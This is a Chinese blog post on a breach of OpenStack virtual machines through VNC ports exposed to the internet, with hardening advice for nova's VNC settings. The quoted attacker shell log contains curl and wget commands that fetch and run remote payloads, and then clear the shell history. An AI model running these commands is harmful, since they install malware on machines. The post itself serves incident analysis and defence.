云计算---记一次黑客攻击openstack创建的虚拟机
一:问题定位
现象:
近期发现有几台openstack云主机被修改密码并被肉鸡。
黑客操作日志:
-- :: ##### root tty1 : #### -- :: top
-- :: ##### root tty1 : #### -- :: clear
-- :: ##### root tty1 : #### -- :: nvidia-smi
-- :: ##### root tty1 : #### -- :: cd /opt
-- :: ##### root tty1 : #### -- :: ls
-- :: ##### root tty1 : #### -- :: ls -a
-- :: ##### root tty1 : #### -- :: curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit
-- :: ##### root tty1 : #### -- :: ls
-- :: ##### root tty1 : #### -- :: cat yamit
-- :: ##### root tty1 : #### -- :: histoy -c
-- :: ##### root tty1 : ####
-- :: ##### root tty1 : #### -- :: rm -rf yamit
-- :: ##### root tty1 : #### -- :: top
-- :: ##### root tty1 : #### -- :: ear
-- :: ##### root tty1 : ####
-- :: ##### root tty1 : #### -- :: exit
-- :: ##### root tty1 : #### -- :: clear
-- :: ##### root tty1 : #### -- :: exit
-- :: ##### root tty1 : #### -- :: ifconfig
-- :: ##### root tty1 : #### -- :: ping ya.ru
-- :: ##### root tty1 : #### -- :: wget https://pastebin.com/raw/BZk9zRE2
-- :: ##### root tty1 : #### -- :: bash B
-- :: ##### root tty1 : #### -- :: bash BZk9zRE2
-- :: ##### root tty1 : #### -- :: rm BZk9zRE2
-- :: ##### root tty1 : #### -- :: history =c
登陆方式不是通过暴力破解的方式进行登陆此机器,同时看日志看到登陆前有重启虚拟机的行为。
根据重启日志,应该是黑客通过某种方式重启 OpenStack 中的虚拟机,目前有以下几种方式
1.有权限登陆 OpenStack 物理机,在物理机上操作虚拟机[排除--根据操作日志]
2.有权限登陆 OpenStack dashboard,然后界面上 VNC 操作虚拟机[排除--根据 web 界面重启日志]
3.使用 VNC 客户端直接操作 OpenStack 中的虚拟机
根据以上方法,确认是以 VNC 客户端直接操作 OpenStack 中的虚拟机导致。
二:处理方法
2.1VNC
VNC (Virtual Network Computer) 是虚拟网络计算机的缩写
2 .2用 VNC 客户端查看 openstack 创建的虚拟机
在云计算的环境中,实际上更多的时候是使用 VNC 工具去查看云系统中的 VM。以下记录如何查看的方法:
计算节点查看虚拟机的 ID(libvird 的,非 instanc_id)
[root@compute1 ~]# virsh list --all
Id Name State
----------------------------------------------------
instance-000000b7 running
instance-000000d3 running
instance-000000de running#############比如这台
- instance-000000ac shut off
- instance-000000b2 shut off
- instance-000000b3 shut off
- instance-000000bb shut off
找到需要连接的虚拟机的 ID 号,查看其中暴露的端口:
[root@compute1 ~]# virsh vncdisplay
:
然后在 VNC 查看工具中输入相关连接:
在 VNC 客户端上输入 对应的计算节点 IP:1
点击 Connect 后就可以连接上 openstack 创建的虚拟机。
【备注】以上采用的方法,实际是直接连接的底层的 libvirt,本质上和上层的 openstack 无太大关系,因此也可以用于其它平台。
2.3 查看外网可以连接的实例
root 权限登陆计算节点后
#netstat -tanp | grep kvm | grep LISTEN
输出的内容中,监听地址为0.0.0.0
的,都可以外网直接访问此实例
3 OpenStack 中 VNC 分析
3.1 VNC Proxy 的功能
将公网 (public network) 和私网 (private network) 隔离
- VNC client 运行在公网上,VNCServer 运行在私网上,VNC Proxy 作为中间的桥梁将二者连接起来
- VNC Proxy 通过 token 对 VNC Client 进行验证
- VNC Proxy 不仅仅使得私网的访问更加安全,而且将具体的 VNC Server 的实现分离,可以支持不同 Hypervisor 的 VNC Server 但不影响用户体验
3.2 VNC Proxy 的运行过程
- (01) 一个用户试图从浏览器里面打开连接到虚拟机的 VNC Client
- (02) 浏览器向 nova-api 发送请求,要求返回访问 vnc 的 url
- (03) nova-api 调用 nova-compute 的 get vnc console 方法,要求返回连接 VNC 的信息
- (04) nova-compute 调用 libvirt 的 get vnc console 函数
- (05) libvirt 会通过解析虚拟机运行的 /etc/libvirt/qemu/instance-0000000c.xml 文件来获得 VNC Server 的信息
- (06) libvirt 将 host, port 等信息以 json 格式返回给 nova-compute
- (07) nova-compute 会随机生成一个 UUID 作为 Token
- (08) nova-compute 将 libvirt 返回的信息以及配置文件中的信息综合成 connect_info 返回给 nova-api
- (09) nova-api 会调用 nova-consoleauth 的 authorize_console 函数
- (10) nova-consoleauth 会将 instance –> token, token –> connect_info 的信息 cache 起来
- (11) nova-api 将 connect_info 中的 access url 信息返回给浏览器:http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld%289169fdb2-5b74-46b1-9803-60d2926bd97c%29
- (12) 浏览器会试图打开这个链接
- (13) 这个链接会将请求发送给 nova-novncproxy
- (14) nova-novncproxy 调用 nova-consoleauth 的 check_token 函数
- (15) nova-consoleauth 验证了这个 token,将这个 instance 对应的 connect_info 返回给 nova-novncproxy
- (16) nova-novncproxy 通过 connect_info 中的 host, port 等信息,连接 compute 节点上的 VNC Server,从而开始了 proxy 的工作
3.3 NOVA 中 VNC 相关配置
- vnc_enabled=True 启用虚拟机的 VNC 功能。
- vncserver_listen=0.0.0.0
- 127.0.0.1(默认),即只可以从本机进行访问,缺点是浏览器 VNC 访问实例也会失败
- 管理网的 IP 地址
- 0.0.0.0 主要是考虑到动态迁移时,目的宿主机没有相应的 IP 地址,动态迁移会失败。
- vncserver_proxyclient_address 该地址指明 vnc proxy 应该通过那个 IP 地址来连接 vncserver,通常是管理网 IP 地址。
- novncproxy_base_url=http://SERVICEHOST:6080/vncauto.html 指定浏览器 client 应该连接的地址。
如果 OpenStack 平台架设在公网上,则 vncserver_listen 需要配置为管理网的 IP 地址,否则设置为 0.0.0.0
就会使得外网用户可以直接访问虚拟机,非常危险
3.4 重新设置监听地址后老实例的处理方法
计算几点重新设置监听地址后(如从0.0.0.0
,修改为计算节点管理网段的 IP),老的实例的对外的 VNC 仍然是 0.0.0.0
那是因为 /etc/libvirt/qemu/instance-000000xx.xml
中配置的监听地址没有变化
可以通过硬重启实例使之(老实例)生效
云计算---记一次黑客攻击openstack创建的虚拟机的更多相关文章
- VMware 接入 Openstack — 使用 Openstack 创建 vCenter 虚拟机
目录 目录 软件环境 前言 Openstack 接口驱动 使用 KVM 在 Compute Node 上创建虚拟机的流程 使用 VCDirver 在 vCenter 上创建虚拟机的流程 配置 vCen ...
- openstack创建一个虚拟机的过程
为什要用云? 一.简单的说就是对资源更加合理的分配,使用,比如硬件的数量,带宽等等这些,因为你不能机器买来不需要了再卖掉(当然也可以),带宽跟机房签合同得来一年的,中间不够了也不能加,超了也不退钱 ...
- Avast!:小型网站最易遭受的3种黑客攻击
avast是捷克研发的杀毒软件,从网站上找到一篇avast关于网站安全的文章,觉得颇有意思,因此想到翻译过来与大家共享.有不对之处还望大家批评指正. 一个拥有上万访问者的小型网站管理员发来一份信,向我 ...
- CTF---安全杂项入门第三题 这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?
这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?分值:30 来源: 2014sctf 难度:难 参与人数:3918人 Get Flag:384人 答题人数 ...
- Openstack创建镜像
如何创建生产用的Openstack镜像 参考官方文档https://docs.openstack.org/image-guide/centos-image.html 1,创建虚拟机硬盘 qemu-im ...
- openstack 创建镜像生成虚拟机不知道密码如何解决
背景: openstack juno版本,使用glance创建centos7镜像,然后生成虚拟机. 操作步骤: 首先获取镜像http://cloud.centos.org/centos/7/image ...
- 3种不走寻常路的黑客攻击泄露&如何保护自己?
数据泄露和黑客攻击现在已经成为我们日常生活中的常见部分,除非您是网络安全专业人员或您的个人数据受到威胁,否则您实际上并不关心是否存在新的漏洞. 正如美国联邦贸易委员会指出的那样,万豪酒店连锁店的超过5 ...
- TLS漏洞:超过50万个电子邮件服务器容易受黑客攻击,太可怕了
2019年在流行的开源Exim电子邮件服务器软件中发现了一个关键的远程执行代码漏洞,至少有超过50万个电子邮件服务器容易受到远程黑客攻击.Exim是一种广泛使用的开源邮件传输代理(MTA)软件,为类似 ...
- 伊朗Cisco路由器遭黑客攻击 全国互联网几乎瘫痪
2018年4月9日,黑客攻击了伊朗的国家信息数据中心.伊朗internet信息安全部称,此次大规模袭击影响了全球约二十万个思科Cisco路由交换器,也包括伊朗的几千个路由器.攻击也影响了互联网服务供应 ...
随机推荐
- [LeetCode] 81. Search in Rotated Sorted Array II 在旋转有序数组中搜索 II
Follow up for "Search in Rotated Sorted Array":What if duplicates are allowed? Would this ...
- 使用Centos7.5+Nginx+Gunicorn+Django+Python3部署blog项目
项目开发环境是 Python3.5.2+Django1.10.6+Sqlite3+Centos7.5+Nginx1.12.2+Gunicorn 发布出来供需要的同学借鉴参考.文中如有错误请多多指正! ...
- LeetCode 566. 重塑矩阵(Reshape the Matrix)
566. 重塑矩阵 566. Reshape the Matrix 题目描述 LeetCode LeetCode LeetCode566. Reshape the Matrix简单 Java 实现 c ...
- LeetCode 537. 复数乘法(Complex Number Multiplication)
537. 复数乘法 537. Complex Number Multiplication 题目描述 Given two strings representing two complex numbers ...
- LeetCode 131. 分割回文串(Palindrome Partitioning)
131. 分割回文串 131. Palindrome Partitioning 题目描述 给定一个字符串 s,将 s 分割成一些子串,使每个子串都是回文串. 返回 s 所有可能的分割方案. LeetC ...
- ubuntu18.04LTS服务器安装matlab4a
下载matlab安装文件共包含三个文件:MATHWORKS_R2014A.part1.rar, MATHWORKS_R2014A.part2.rar, 相关文件(Crack)解压:$sudo apt ...
- 09 Servlet相关知识点---学习笔记
1.概念:运行在服务器端的小程序 Servlet就是一个接口,定义了Java类被浏览器访问到(tomcat识别)的规则.将来我们自定义一个类,实现Servlet接口,复写方法. 2.快速入门:(1)创 ...
- call、apply、bind的区别,模拟call、apply和bind的实现
bind:bind绑定完this的指向后会返回一个新的函数体,不会被立即调用 call&apply:绑定完this的指向后会立即调用 call与apply的区别: call:第 ...
- 【C++札记】多态
C++中多态是面向对象设计思想的重要特性,同名具有不同功能函数,该函数调用过程执行不同的功能.多态的原理是通过一张虚函数表(Virtual Table)实现的.动多态会牺牲一些空间和效率来最终实现动态 ...
- C++容器简介1—stack
一.简介 stack是一种容器适配器(STL的容器分为顺序容器和关联容器,容器适配器),被设计来用于操作先进后出(FILO)结构的情景,在这种情况下, 元素的插入和删除都只能在容器的尾部进行. sta ...